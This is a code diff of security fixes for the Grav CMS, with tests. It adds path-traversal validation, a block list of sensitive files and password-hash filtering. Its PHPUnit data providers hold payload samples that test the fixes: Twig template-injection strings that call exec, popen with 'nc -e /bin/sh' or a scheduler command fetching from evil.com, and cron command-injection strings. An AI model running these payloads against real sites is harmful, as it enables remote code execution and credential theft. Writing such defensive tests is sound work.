$paths = $locator->findResources('plugins://');
$files += (new ConfigFileFinder)->setBase('plugins')->locateInFolders($paths, 'languages');
$paths = static::pluginFolderPaths($paths, 'languages');
$files += (new ConfigFileFinder)->locateFiles($paths);
// Save file list cache for next request
static::saveCachedFileList($locator, $cache, 'languages', $setup->environment, $files);
// Also invalidate the compiled languages cache to force rebuild
$masterLanguages = "{$cache}/master-{$setup->environment}.php";
if (file_exists($masterLanguages)) {
@unlink($masterLanguages);
}
}
}
$languages = new CompiledLanguages($cache, $files, GRAV_ROOT);
@@ -195,4 +242,154 @@ class ConfigServiceProvider implements ServiceProviderInterface
}
return $paths;
}
/**
* Load cached file list if still valid (based on directory and file mtimes).
*
* @param UniformResourceLocator $locator
* @param string $cacheDir
* @param string $type
* @param string $environment
* @return array|null Returns cached files array or null if cache is invalid
*/
protected static function loadCachedFileList(UniformResourceLocator $locator, string $cacheDir, string $type, string $environment): ?array
{
$cacheFile = "{$cacheDir}/filelist-{$type}-{$environment}.php";
if (!file_exists($cacheFile)) {
return null;
}
$cache = include $cacheFile;
if (!is_array($cache) || !isset($cache['directories'], $cache['files'])) {
return null;
}
// Validate cache by checking directory mtimes
foreach ($cache['directories'] as $dir => $mtime) {
// Check if directory still exists and mtime hasn't changed
$currentMtime = @filemtime($dir);
if ($currentMtime === false || $currentMtime !== $mtime) {
return null;
}
}
// Validate cache by checking individual file mtimes
if (isset($cache['file_mtimes'])) {
foreach ($cache['file_mtimes'] as $file => $mtime) {
$currentMtime = @filemtime($file);
if ($currentMtime === false || $currentMtime !== $mtime) {
return null;
}
}
}
return $cache['files'];
}
/**
* Save file list to cache with directory and file mtimes for validation.
*
* @param UniformResourceLocator $locator
* @param string $cacheDir
* @param string $type
* @param string $environment
* @param array $files
* @return void
*/
protected static function saveCachedFileList(UniformResourceLocator $locator, string $cacheDir, string $type, string $environment, array $files): void
{
// Collect all directories that were scanned based on type
$directories = [];
// Collect mtimes for all individual config files
$fileMtimes = [];
foreach ($files as $group) {
foreach ($group as $item) {
if (isset($item['file'])) {
$filePath = GRAV_ROOT . '/' . $item['file'];
if (file_exists($filePath)) {
$fileMtimes[$filePath] = filemtime($filePath);
}
}
}
}
// Type-specific base directories
if ($type === 'config') {
$basePaths = $locator->findResources('config://');
foreach ($basePaths as $path) {
if (is_dir($path)) {
$directories[$path] = filemtime($path);
}
}
} elseif ($type === 'blueprints') {
$basePaths = $locator->findResources('blueprints://config');
foreach ($basePaths as $path) {
if (is_dir($path)) {
$directories[$path] = filemtime($path);
}
}
} elseif ($type === 'languages') {
$basePaths = $locator->findResources('languages://');
foreach ($basePaths as $path) {
if (is_dir($path)) {
$directories[$path] = filemtime($path);
}
}
}
// Get plugin directories (used by all types)
$pluginPaths = $locator->findResources('plugins://');
foreach ($pluginPaths as $path) {
if (is_dir($path)) {
$directories[$path] = filemtime($path);
// Also track individual plugin directories for granular invalidation
$iterator = new DirectoryIterator($path);
foreach ($iterator as $dir) {
if ($dir->isDir() && !$dir->isDot()) {
$directories[$dir->getPathname()] = $dir->getMTime();
}
}
}
}
// Get theme directories (used by config and blueprints)
if ($type !== 'languages') {
$themePaths = $locator->findResources('themes://');
foreach ($themePaths as $path) {
if (is_dir($path)) {
$directories[$path] = filemtime($path);
// Also track individual theme directories
$iterator = new DirectoryIterator($path);
foreach ($iterator as $dir) {
if ($dir->isDir() && !$dir->isDot()) {
$directories[$dir->getPathname()] = $dir->getMTime();
}
}
}
}
}
$cache = [
'@class' => static::class,
'type' => $type,
'environment' => $environment,
'timestamp' => time(),
'directories' => $directories,
'file_mtimes' => $fileMtimes,
'files' => $files,
];
// Ensure cache directory exists
if (!is_dir($cacheDir)) {
mkdir($cacheDir, 0775, true);
}
$cacheFile = "{$cacheDir}/filelist-{$type}-{$environment}.php";
$file = PhpFile::instance($cacheFile);
$file->save($cache);
$file->free();
}
}

View File

@@ -4,11 +4,17 @@ declare(strict_types=1);
namespace Grav\Common\Twig\Compatibility;
use Twig\Loader\ChainLoader;
use Twig\Loader\FilesystemLoader;
use Twig\Loader\LoaderInterface;
use Twig\Source;
/**
* Decorates the active Twig loader to rewrite legacy Twig 1/2 constructs on the fly.
*
* This loader wraps the ChainLoader and transforms template source code for Twig 3 compatibility.
* It also proxies common FilesystemLoader methods to maintain backwards compatibility with
* plugins that may call these methods on the loader.
*/
class Twig3CompatibilityLoader implements LoaderInterface
{
@@ -18,6 +24,110 @@ class Twig3CompatibilityLoader implements LoaderInterface
) {
}
/**
* Get the inner loader (ChainLoader).
*
* @return LoaderInterface
*/
public function getInnerLoader(): LoaderInterface
{
return $this->inner;
}
/**
* Get the FilesystemLoader from the inner ChainLoader.
*
* @return FilesystemLoader|null
*/
public function getFilesystemLoader(): ?FilesystemLoader
{
if ($this->inner instanceof ChainLoader) {
foreach ($this->inner->getLoaders() as $loader) {
if ($loader instanceof FilesystemLoader) {
return $loader;
}
}
}
return null;
}
/**
* Proxy addPath to the FilesystemLoader.
*
* @param string $path
* @param string $namespace
* @return void
*/
public function addPath(string $path, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
{
$loader = $this->getFilesystemLoader();
if ($loader !== null) {
$loader->addPath($path, $namespace);
}
}
/**
* Proxy prependPath to the FilesystemLoader.
*
* @param string $path
* @param string $namespace
* @return void
*/
public function prependPath(string $path, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
{
$loader = $this->getFilesystemLoader();
if ($loader !== null) {
$loader->prependPath($path, $namespace);
}
}
/**
* Proxy getPaths to the FilesystemLoader.
*
* @param string $namespace
* @return array
*/
public function getPaths(string $namespace = FilesystemLoader::MAIN_NAMESPACE): array
{
$loader = $this->getFilesystemLoader();
if ($loader !== null) {
return $loader->getPaths($namespace);
}
return [];
}
/**
* Proxy getNamespaces to the FilesystemLoader.
*
* @return array
*/
public function getNamespaces(): array
{
$loader = $this->getFilesystemLoader();
if ($loader !== null) {
return $loader->getNamespaces();
}
return [];
}
/**
* Proxy setPaths to the FilesystemLoader.
*
* @param array $paths
* @param string $namespace
* @return void
*/
public function setPaths(array $paths, string $namespace = FilesystemLoader::MAIN_NAMESPACE): void
{
$loader = $this->getFilesystemLoader();
if ($loader !== null) {
$loader->setPaths($paths, $namespace);
}
}
public function getSourceContext(string $name): Source
{
$source = $this->inner->getSourceContext($name);

View File

@@ -638,11 +638,16 @@ class GravExtension extends AbstractExtension implements GlobalsInterface
* Get Cron object for a crontab 'at' format
*
* @param string $at
* @return CronExpression
* @return CronExpression|null
*/
public function cronFunc($at)
{
return CronExpression::factory($at);
try {
return CronExpression::factory($at);
} catch (\InvalidArgumentException $e) {
// Invalid cron expression - return null to prevent DoS
return null;
}
}
/**
@@ -1438,11 +1443,42 @@ class GravExtension extends AbstractExtension implements GlobalsInterface
$filepath = $locator->findResource($filepath);
}
if ($filepath && file_exists($filepath)) {
return file_get_contents($filepath);
if (!$filepath || !file_exists($filepath)) {
return false;
}
return false;
// Security: Get the real path to prevent path traversal
$realpath = realpath($filepath);
if ($realpath === false) {
return false;
}
// Security: Ensure the file is within GRAV_ROOT
$gravRoot = realpath(GRAV_ROOT);
if ($gravRoot === false || strpos($realpath, $gravRoot) !== 0) {
return false;
}
// Security: Block access to sensitive files and directories
$blockedPatterns = [
'/\/accounts\/[^\/]+\.yaml$/', // User account files
'/\/config\/security\.yaml$/', // Security config
'/\/\.env/', // Environment files
'/\/\.git/', // Git directory
'/\/\.htaccess/', // Apache config
'/\/\.htpasswd/', // Apache passwords
'/\/vendor\//', // Composer vendor (may contain sensitive info)
'/\/logs\//', // Log files
'/\/backup\//', // Backup files
];
foreach ($blockedPatterns as $pattern) {
if (preg_match($pattern, $realpath)) {
return false;
}
}
return file_get_contents($realpath);
}
/**

View File

@@ -49,6 +49,7 @@ use function trim;
use function uniqid;
use function unlink;
use function ltrim;
use const GRAV_PHP_MIN;
use const GRAV_ROOT;
use const GLOB_ONLYDIR;
use const JSON_PRETTY_PRINT;
@@ -206,6 +207,17 @@ class SafeUpgradeService
throw new InvalidArgumentException(sprintf('Extracted package path "%s" is not a directory.', $extractedPath));
}
// Check PHP requirements from the package before proceeding
$phpCheck = $this->checkPackagePhpRequirements($extractedPath);
if (!$phpCheck['meets_requirements']) {
throw new RuntimeException(sprintf(
'PHP version requirement not met. Grav %s requires PHP %s or higher, but you are running PHP %s.',
$targetVersion,
$phpCheck['required_version'],
PHP_VERSION
));
}
$stageId = uniqid('stage-', false);
$stagePath = $this->stagingRoot . DIRECTORY_SEPARATOR . $stageId;
$packagePath = $stagePath . DIRECTORY_SEPARATOR . 'package';
@@ -1216,4 +1228,54 @@ class SafeUpgradeService
}
}
}
/**
* Check PHP requirements from the package's defines.php file.
*
* @param string $extractedPath Path to extracted package
* @return array{meets_requirements: bool, required_version: string, current_version: string}
*/
private function checkPackagePhpRequirements(string $extractedPath): array
{
$result = [
'meets_requirements' => true,
'required_version' => GRAV_PHP_MIN,
'current_version' => PHP_VERSION,
];
// Look for defines.php in the package (could be at root or in system/)
$definesPath = null;
$candidates = [
$extractedPath . DIRECTORY_SEPARATOR . 'system' . DIRECTORY_SEPARATOR . 'defines.php',
$extractedPath . DIRECTORY_SEPARATOR . 'defines.php',
];
foreach ($candidates as $candidate) {
if (is_file($candidate)) {
$definesPath = $candidate;
break;
}
}
if ($definesPath === null) {
// No defines.php found, fall back to current GRAV_PHP_MIN
$result['meets_requirements'] = version_compare(PHP_VERSION, GRAV_PHP_MIN, '>=');
return $result;
}
// Read and parse the defines.php to extract GRAV_PHP_MIN
$content = file_get_contents($definesPath);
if ($content === false) {
$result['meets_requirements'] = version_compare(PHP_VERSION, GRAV_PHP_MIN, '>=');
return $result;
}
// Match patterns like: define('GRAV_PHP_MIN', '8.3.0'); or define("GRAV_PHP_MIN", "8.3.0");
if (preg_match('/define\s*\(\s*[\'"]GRAV_PHP_MIN[\'"]\s*,\s*[\'"]([^"\']+)[\'"]\s*\)/', $content, $matches)) {
$result['required_version'] = $matches[1];
$result['meets_requirements'] = version_compare(PHP_VERSION, $matches[1], '>=');
}
return $result;
}
}

View File

@@ -128,8 +128,20 @@ class User extends Data implements UserInterface
if ($file) {
$username = $this->filterUsername((string)$this->get('username'));
// Validate username to prevent path traversal attacks
if (!self::isValidUsername($username)) {
throw new \RuntimeException('Invalid username: contains invalid characters or sequences');
}
if (!$file->filename()) {
$locator = Grav::instance()['locator'];
// Check if a user with this username already exists (prevent overwriting)
$existingFile = $locator->findResource('account://' . $username . YAML_EXT);
if ($existingFile) {
throw new \RuntimeException('User account with this username already exists');
}
$file->filename($locator->findResource('account://' . $username . YAML_EXT, true, true));
}
@@ -304,6 +316,22 @@ class User extends Data implements UserInterface
return parent::count();
}
/**
* {@inheritdoc}
* Override to filter out sensitive fields like password hashes
*/
public function jsonSerialize(): array
{
$items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend
unset($items['hashed_password']);
unset($items['secret']); // 2FA secret
unset($items['twofa_secret']); // Alternative 2FA field name
return $items;
}
/**
* @param string $username
* @return string
@@ -313,6 +341,37 @@ class User extends Data implements UserInterface
return mb_strtolower($username);
}
/**
* Validates a username to prevent path traversal and other attacks.
*
* @param string $username
* @return bool
*/
public static function isValidUsername(string $username): bool
{
// Username must not be empty
if (!$username) {
return false;
}
// Username must not contain filesystem-dangerous characters: \ / ? * : ; { } or newlines
if (!preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $username)) {
return false;
}
// Username must not contain path traversal sequences (..)
if (str_contains($username, '..')) {
return false;
}
// Username must not start with a dot (hidden files)
if (str_starts_with($username, '.')) {
return false;
}
return true;
}
/**
* @return string|null
*/

View File

@@ -691,6 +691,17 @@ abstract class Utils
header('Content-Disposition: attachment; filename="' . ($options['download_name'] ?? $file_parts['basename']) . '"');
}
if ($grav['config']->get('system.cache.enabled')) {
$expires = $options['expires'] ?? $grav['config']->get('system.pages.expires');
if ($expires > 0) {
$expires_date = gmdate('D, d M Y H:i:s T', time() + $expires);
header('Cache-Control: max-age=' . $expires);
header('Expires: ' . $expires_date);
header('Pragma: cache');
}
header('Last-Modified: ' . gmdate('D, d M Y H:i:s T', filemtime($file)));
}
// multipart-download and download resuming support
if (isset($_SERVER['HTTP_RANGE'])) {
[$a, $range] = explode('=', (string) $_SERVER['HTTP_RANGE'], 2);
@@ -703,7 +714,7 @@ abstract class Utils
$range_end = (int)$range_end;
}
$new_length = $range_end - $range + 1;
header('HTTP/1.1 206 Partial Content');
http_response_code(206);
header("Content-Length: {$new_length}");
header("Content-Range: bytes {$range}-{$range_end}/{$size}");
} else {
@@ -712,19 +723,10 @@ abstract class Utils
header('Content-Length: ' . $size);
if ($grav['config']->get('system.cache.enabled')) {
$expires = $options['expires'] ?? $grav['config']->get('system.pages.expires');
if ($expires > 0) {
$expires_date = gmdate('D, d M Y H:i:s T', time() + $expires);
header('Cache-Control: max-age=' . $expires);
header('Expires: ' . $expires_date);
header('Pragma: cache');
}
header('Last-Modified: ' . gmdate('D, d M Y H:i:s T', filemtime($file)));
// Return 304 Not Modified if the file is already cached in the browser
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) &&
strtotime((string) $_SERVER['HTTP_IF_MODIFIED_SINCE']) >= filemtime($file)) {
header('HTTP/1.1 304 Not Modified');
http_response_code(304);
exit();
}
}

View File

@@ -215,9 +215,8 @@ class SchedulerCommand extends GravCommand
$job_state = $job_states[$job->getId()];
$error = isset($job_state['error']) ? trim((string) $job_state['error']) : false;
/** @var CronExpression $expression */
/** @var CronExpression|null $expression */
$expression = $job->getCronExpression();
$next_run = $expression->getNextRunDate();
$row = [];
$row[] = $job->getId();
@@ -226,7 +225,13 @@ class SchedulerCommand extends GravCommand
} else {
$row[] = '<yellow>Never</yellow>';
}
$row[] = '<yellow>' . $next_run->format('Y-m-d H:i') . '</yellow>';
if ($expression) {
$next_run = $expression->getNextRunDate();
$row[] = '<yellow>' . $next_run->format('Y-m-d H:i') . '</yellow>';
} else {
$row[] = '<error>Invalid cron</error>';
}
if ($error) {
$row[] = "<error>{$error}</error>";

View File

@@ -479,6 +479,29 @@ class FlexDirectory implements FlexDirectoryInterface
return $cache;
}
/**
* Encode a storage key for use as a cache key.
* Symfony cache reserves characters: {}()/\@:
*
* @param string $key
* @return string
*/
protected function encodeCacheKey(string $key): string
{
return str_replace(['/', '\\', '@', ':'], ['__SLASH__', '__BSLASH__', '__AT__', '__COLON__'], $key);
}
/**
* Decode a cache key back to the original storage key.
*
* @param string $key
* @return string
*/
protected function decodeCacheKey(string $key): string
{
return str_replace(['__SLASH__', '__BSLASH__', '__AT__', '__COLON__'], ['/', '\\', '@', ':'], $key);
}
/**
* @return $this
*/
@@ -720,7 +743,12 @@ class FlexDirectory implements FlexDirectoryInterface
//$debugger->addMessage(sprintf('Flex: Caching %d %s', \count($entries), $this->type), 'debug');
}
try {
$cache->setMultiple($updated);
// Encode storage keys for cache compatibility (Symfony cache reserves certain characters)
$encodedUpdated = [];
foreach ($updated as $key => $value) {
$encodedUpdated[$this->encodeCacheKey($key)] = $value;
}
$cache->setMultiple($encodedUpdated);
} catch (InvalidArgumentException $e) {
$debugger->addException($e);
// TODO: log about the issue.
@@ -752,7 +780,15 @@ class FlexDirectory implements FlexDirectoryInterface
$debugger->startTimer('flex-objects', sprintf('Flex: Loading %d %s', $loading, $this->type));
$fetched = (array)$cache->getMultiple($fetch);
// Encode storage keys for cache compatibility (Symfony cache reserves certain characters)
$encodedFetch = array_map([$this, 'encodeCacheKey'], $fetch);
$encodedFetched = (array)$cache->getMultiple($encodedFetch);
// Decode the keys back to original storage keys
foreach ($encodedFetched as $encodedKey => $value) {
$fetched[$this->decodeCacheKey($encodedKey)] = $value;
}
if ($fetched) {
$index = $this->loadIndex('storage_key');

View File

@@ -220,6 +220,39 @@ abstract class AbstractFilesystemStorage implements FlexStorageInterface
*/
protected function validateKey(string $key): bool
{
return $key && (bool) preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $key);
// Key must not be empty
if (!$key) {
return false;
}
// Key must not contain filesystem-dangerous characters: \ / ? * : ; { } or newlines
if (!preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $key)) {
return false;
}
// Key must not contain path traversal sequences (..)
if (str_contains($key, '..')) {
return false;
}
// Key must not start with a dot (hidden files)
if (str_starts_with($key, '.')) {
return false;
}
return true;
}
/**
* Validates a key and throws an exception if invalid.
*
* @param string $key
* @throws \InvalidArgumentException
*/
public function assertValidKey(string $key): void
{
if (!$this->validateKey($key)) {
throw new \InvalidArgumentException(sprintf('Invalid storage key: "%s"', $key));
}
}
}

View File

@@ -419,6 +419,9 @@ class FolderStorage extends AbstractFilesystemStorage
$key = $this->normalizeKey($key);
// Validate the key to prevent path traversal and other attacks
$this->assertValidKey($key);
// Check if the row already exists and if the key has been changed.
$oldKey = $row['__META']['storage_key'] ?? null;
if (is_string($oldKey) && $oldKey !== $key) {

View File

@@ -0,0 +1,225 @@
<?php
use Grav\Common\Scheduler\Job;
/**
* Class AdminSecurityTest
*
* Tests for admin security fixes.
* Covers: GHSA-x62q-p736-3997 (cron DoS), GHSA-gq3g-666w-7h85 (password hash exposure)
*
* Naming convention: test{Method}_{GHSA_ID}_{description}
*/
class AdminSecurityTest extends \PHPUnit\Framework\TestCase
{
// =========================================================================
// GHSA-x62q-p736-3997: DoS via Invalid Cron Expression
// =========================================================================
/**
* @dataProvider providerGHSAx62q_InvalidCronExpressions
*/
public function testIsValidCronExpression_GHSAx62q_RejectsInvalidCron(string $expression, string $description): void
{
$result = Job::isValidCronExpression($expression);
self::assertFalse($result, "Should reject invalid cron expression: $description");
}
public static function providerGHSAx62q_InvalidCronExpressions(): array
{
return [
// Malformed expressions that could cause DoS
["'", 'Single quote'],
['"', 'Double quote'],
['`', 'Backtick'],
['\\', 'Backslash'],
// Invalid field counts
['*', 'Single asterisk (too few fields)'],
['* *', 'Two fields (too few)'],
['* * *', 'Three fields (too few)'],
['* * * *', 'Four fields (too few)'],
['* * * * * * *', 'Seven fields (too many)'],
// Invalid ranges
['60 * * * *', 'Invalid minute (60)'],
['-1 * * * *', 'Negative minute'],
['* 25 * * *', 'Invalid hour (25)'],
['* * 32 * *', 'Invalid day (32)'],
['* * * 13 *', 'Invalid month (13)'],
['* * * * 8', 'Invalid day of week (8)'],
// Malformed syntax
['* * * * * extra', 'Extra text'],
['*/* * * * *', 'Double slash'],
['*-* * * * *', 'Invalid range'],
['a * * * *', 'Letter in field'],
['* b * * *', 'Letter in field 2'],
// Empty/whitespace
['', 'Empty string'],
[' ', 'Only whitespace'],
["\t", 'Tab character'],
["\n", 'Newline'],
// Injection attempts
['* * * * *; rm -rf /', 'Command injection'],
['$(whoami)', 'Shell expansion'],
['* * * * * | cat /etc/passwd', 'Pipe injection'],
];
}
/**
* @dataProvider providerGHSAx62q_ValidCronExpressions
*/
public function testIsValidCronExpression_GHSAx62q_AcceptsValidCron(string $expression, string $description): void
{
$result = Job::isValidCronExpression($expression);
self::assertTrue($result, "Should accept valid cron expression: $description");
}
public static function providerGHSAx62q_ValidCronExpressions(): array
{
return [
// Standard expressions
['* * * * *', 'Every minute'],
['0 * * * *', 'Every hour'],
['0 0 * * *', 'Daily at midnight'],
['0 0 1 * *', 'Monthly on 1st'],
['0 0 * * 0', 'Weekly on Sunday'],
// Specific times
['30 4 * * *', '4:30 AM daily'],
['0 9 * * 1-5', '9 AM weekdays'],
['0 12 15 * *', 'Noon on 15th'],
// Ranges and steps
['*/5 * * * *', 'Every 5 minutes'],
['0 */2 * * *', 'Every 2 hours'],
['0 0 */3 * *', 'Every 3 days'],
['0 0 1 */2 *', 'Every 2 months'],
// Multiple values
['0 9,17 * * *', '9 AM and 5 PM'],
['0 0 1,15 * *', '1st and 15th'],
['0 0 * * 0,6', 'Weekends'],
// Range expressions
['0 9-17 * * *', '9 AM to 5 PM hourly'],
['* * * 1-6 *', 'Jan through June'],
['0 0 * * 1-5', 'Monday through Friday'],
// Day of week names (if supported by library)
['0 0 * * SUN', 'Sunday by name'],
['0 0 * * MON-FRI', 'Weekdays by name'],
];
}
public function testGetCronExpression_GHSAx62q_ReturnsNullForInvalid(): void
{
// Create a Job with an invalid cron expression
$job = new Job('test_command');
// Use reflection to set the 'at' property to an invalid value
$reflection = new ReflectionClass($job);
$property = $reflection->getProperty('at');
$property->setAccessible(true);
$property->setValue($job, "'invalid");
// getCronExpression should return null instead of throwing
$result = $job->getCronExpression();
self::assertNull($result, 'getCronExpression should return null for invalid expression');
}
public function testGetCronExpression_GHSAx62q_ReturnsCronExpressionForValid(): void
{
$job = new Job('test_command');
// Use reflection to set a valid cron expression
$reflection = new ReflectionClass($job);
$property = $reflection->getProperty('at');
$property->setAccessible(true);
$property->setValue($job, '* * * * *');
$result = $job->getCronExpression();
self::assertNotNull($result, 'getCronExpression should return CronExpression for valid expression');
self::assertInstanceOf(\Cron\CronExpression::class, $result);
}
// =========================================================================
// GHSA-gq3g-666w-7h85: Password Hash Exposure
// These tests verify that sensitive fields are not exposed in serialization
// =========================================================================
/**
* Test that UserObject jsonSerialize filters sensitive fields
* Note: This requires a more complex setup with Grav fixtures
* For now, we verify the method exists and filters the expected fields
*/
public function testJsonSerialize_GHSAgq3g_MethodExists(): void
{
// Verify the UserObject class has the jsonSerialize override
$reflection = new ReflectionClass(\Grav\Common\Flex\Types\Users\UserObject::class);
self::assertTrue(
$reflection->hasMethod('jsonSerialize'),
'UserObject should have jsonSerialize method'
);
// Verify it's declared in UserObject (not just inherited)
$method = $reflection->getMethod('jsonSerialize');
self::assertEquals(
\Grav\Common\Flex\Types\Users\UserObject::class,
$method->getDeclaringClass()->getName(),
'jsonSerialize should be declared in UserObject'
);
}
public function testJsonSerialize_GHSAgq3g_DataUserMethodExists(): void
{
// Verify the DataUser\User class has the jsonSerialize override
$reflection = new ReflectionClass(\Grav\Common\User\DataUser\User::class);
self::assertTrue(
$reflection->hasMethod('jsonSerialize'),
'DataUser\\User should have jsonSerialize method'
);
// Verify it's declared in User (not just inherited from Data)
$method = $reflection->getMethod('jsonSerialize');
self::assertEquals(
\Grav\Common\User\DataUser\User::class,
$method->getDeclaringClass()->getName(),
'jsonSerialize should be declared in DataUser\\User'
);
}
// =========================================================================
// Edge Cases
// =========================================================================
public function testIsValidCronExpression_EdgeCase_WhitespaceHandling(): void
{
// Extra whitespace should not affect valid expressions
// Note: behavior depends on the cron library
self::assertTrue(Job::isValidCronExpression('0 0 * * *'), 'Standard spacing');
// Leading/trailing whitespace - depends on library
// Just verify it doesn't throw
$result = Job::isValidCronExpression(' * * * * * ');
self::assertIsBool($result, 'Should return bool for whitespace-padded expression');
}
public function testIsValidCronExpression_EdgeCase_SpecialCharacters(): void
{
// These should all be invalid due to special characters
$specialChars = ['@', '#', '$', '%', '^', '&', '(', ')', '[', ']', '{', '}', '<', '>'];
foreach ($specialChars as $char) {
self::assertFalse(
Job::isValidCronExpression($char . ' * * * *'),
"Should reject expression with special char: $char"
);
}
}
}

View File

@@ -0,0 +1,458 @@
<?php
use Grav\Common\Security;
/**
* Class CleanDangerousTwigTest
*
* Tests for Security::cleanDangerousTwig() method.
* Covers SSTI sandbox fixes: GHSA-662m, GHSA-858q, GHSA-8535, GHSA-gjc5, GHSA-52hh
*
* Naming convention: test{Method}_{GHSA_ID}_{description}
*/
class CleanDangerousTwigTest extends \PHPUnit\Framework\TestCase
{
/**
* Reset static cache before each test to ensure clean state
*/
protected function setUp(): void
{
parent::setUp();
// Reset the static pattern cache using reflection
$reflection = new ReflectionClass(Security::class);
$properties = [
'dangerousTwigFunctionsPattern',
'dangerousTwigPropertiesPattern',
'dangerousFunctionCallsPattern',
'dangerousJoinPattern'
];
foreach ($properties as $prop) {
if ($reflection->hasProperty($prop)) {
$property = $reflection->getProperty($prop);
$property->setAccessible(true);
$property->setValue(null, null);
}
}
}
// =========================================================================
// GHSA-662m-56v4-3r8f: SSTI sandbox bypass via nested evaluate_twig
// =========================================================================
/**
* @dataProvider providerGHSA662m_NestedEvaluateTwig
*/
public function testCleanDangerousTwig_GHSA662m_BlocksNestedEvaluateTwig(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerGHSA662m_NestedEvaluateTwig(): array
{
return [
['{{ evaluate_twig("test") }}', 'Direct evaluate_twig call'],
['{% set x = evaluate_twig(user_input) %}', 'evaluate_twig in set block'],
['{{ evaluate("test") }}', 'evaluate function'],
['{{ evaluate_twig(form.value("name")) }}', 'evaluate_twig with form value'],
];
}
// =========================================================================
// GHSA-858q-77wx-hhx6: Privilege escalation via grav.user/scheduler
// =========================================================================
/**
* @dataProvider providerGHSA858q_PrivilegeEscalation
*/
public function testCleanDangerousTwig_GHSA858q_BlocksPrivilegeEscalation(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerGHSA858q_PrivilegeEscalation(): array
{
return [
// User modification attacks
["{{ grav.user.update({'access':{'admin':{'super':true}}}) }}", 'grav.user.update privilege escalation'],
['{{ grav.user.save() }}', 'grav.user.save call'],
// Scheduler RCE attacks
['{{ grav.scheduler.addCommand("curl", ["http://evil.com"]) }}', 'scheduler.addCommand'],
['{{ grav.scheduler.run() }}', 'scheduler.run'],
['{{ grav.scheduler.save() }}', 'scheduler.save'],
['{% set s = grav.scheduler %}', 'Direct scheduler access'],
];
}
// =========================================================================
// GHSA-8535-hvm8-2hmv: Context leak via _context access
// =========================================================================
/**
* @dataProvider providerGHSA8535_ContextLeak
*/
public function testCleanDangerousTwig_GHSA8535_BlocksContextLeak(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerGHSA8535_ContextLeak(): array
{
return [
['{{ _context }}', 'Direct _context access'],
['{{ _context|json_encode }}', '_context with filter'],
['{% for key, value in _context %}{{ key }}{% endfor %}', '_context iteration'],
['{{ _self }}', '_self access'],
['{{ _charset }}', '_charset access'],
['{{ dump(_context) }}', 'dump with _context'],
];
}
// =========================================================================
// GHSA-gjc5-8cfh-653x: Sandbox bypass via config.set
// =========================================================================
/**
* @dataProvider providerGHSAgjc5_ConfigBypass
*/
public function testCleanDangerousTwig_GHSAgjc5_BlocksConfigBypass(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerGHSAgjc5_ConfigBypass(): array
{
return [
["{{ grav.config.set('system.twig.safe_functions', ['system']) }}", 'grav.config.set safe_functions'],
["{{ grav.twig.twig_vars['config'] }}", 'twig_vars config access'],
['{{ twig_vars["config"] }}', 'Direct twig_vars access'],
["{{ something.safe_functions }}", '.safe_functions access'],
["{{ something.safe_filters }}", '.safe_filters access'],
["{{ x.undefined_functions }}", '.undefined_functions access'],
];
}
// =========================================================================
// GHSA-52hh-vxfw-p6rg: CVE-2024-28116 bypass via string concatenation
// =========================================================================
/**
* @dataProvider providerGHSA52hh_StringConcatBypass
*/
public function testCleanDangerousTwig_GHSA52hh_BlocksStringConcatBypass(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerGHSA52hh_StringConcatBypass(): array
{
// These test the specific suspicious fragments we check for in join() operations
return [
["{{ ['safe_func', 'tions']|join('') }}", 'join to construct safe_functions'],
["{{ ['safe_filt', 'ers']|join }}", 'join to construct safe_filters'],
["{{ ['_context', 'var']|join('') }}", 'join with _context fragment'],
["{{ ['scheduler', '.run']|join('') }}", 'join with scheduler fragment'],
["{{ ['registerUndefined', 'Callback']|join('') }}", 'join with registerUndefined fragment'],
["{{ ['undefined_', 'functions']|join('') }}", 'join with undefined_ fragment'],
];
}
// =========================================================================
// Dangerous PHP Functions (Code Execution)
// =========================================================================
/**
* @dataProvider providerDangerousCodeExecution
*/
public function testCleanDangerousTwig_BlocksCodeExecution(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerDangerousCodeExecution(): array
{
return [
['{{ exec("whoami") }}', 'exec function'],
['{{ shell_exec("ls") }}', 'shell_exec function'],
['{{ system("id") }}', 'system function'],
['{{ passthru("cat /etc/passwd") }}', 'passthru function'],
['{{ popen("nc -e /bin/sh", "r") }}', 'popen function'],
['{{ proc_open("sh", [], $pipes) }}', 'proc_open function'],
['{{ pcntl_exec("/bin/sh") }}', 'pcntl_exec function'],
['{{ eval("phpinfo();") }}', 'eval function'],
['{{ assert("system(\'id\')") }}', 'assert function'],
['{{ create_function("", "system(\'id\');") }}', 'create_function'],
];
}
// =========================================================================
// Dangerous PHP Functions (File Operations)
// =========================================================================
/**
* @dataProvider providerDangerousFileOperations
*/
public function testCleanDangerousTwig_BlocksFileOperations(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerDangerousFileOperations(): array
{
return [
['{{ file_get_contents("/etc/passwd") }}', 'file_get_contents'],
['{{ file_put_contents("/tmp/x", "data") }}', 'file_put_contents'],
['{{ fopen("/etc/passwd", "r") }}', 'fopen'],
['{{ readfile("/etc/passwd") }}', 'readfile'],
['{{ unlink("/important/file") }}', 'unlink'],
['{{ rmdir("/important/dir") }}', 'rmdir'],
['{{ mkdir("/tmp/evil") }}', 'mkdir'],
['{{ chmod("/tmp/file", 0777) }}', 'chmod'],
['{{ copy("/etc/passwd", "/tmp/passwd") }}', 'copy'],
['{{ rename("/tmp/a", "/tmp/b") }}', 'rename'],
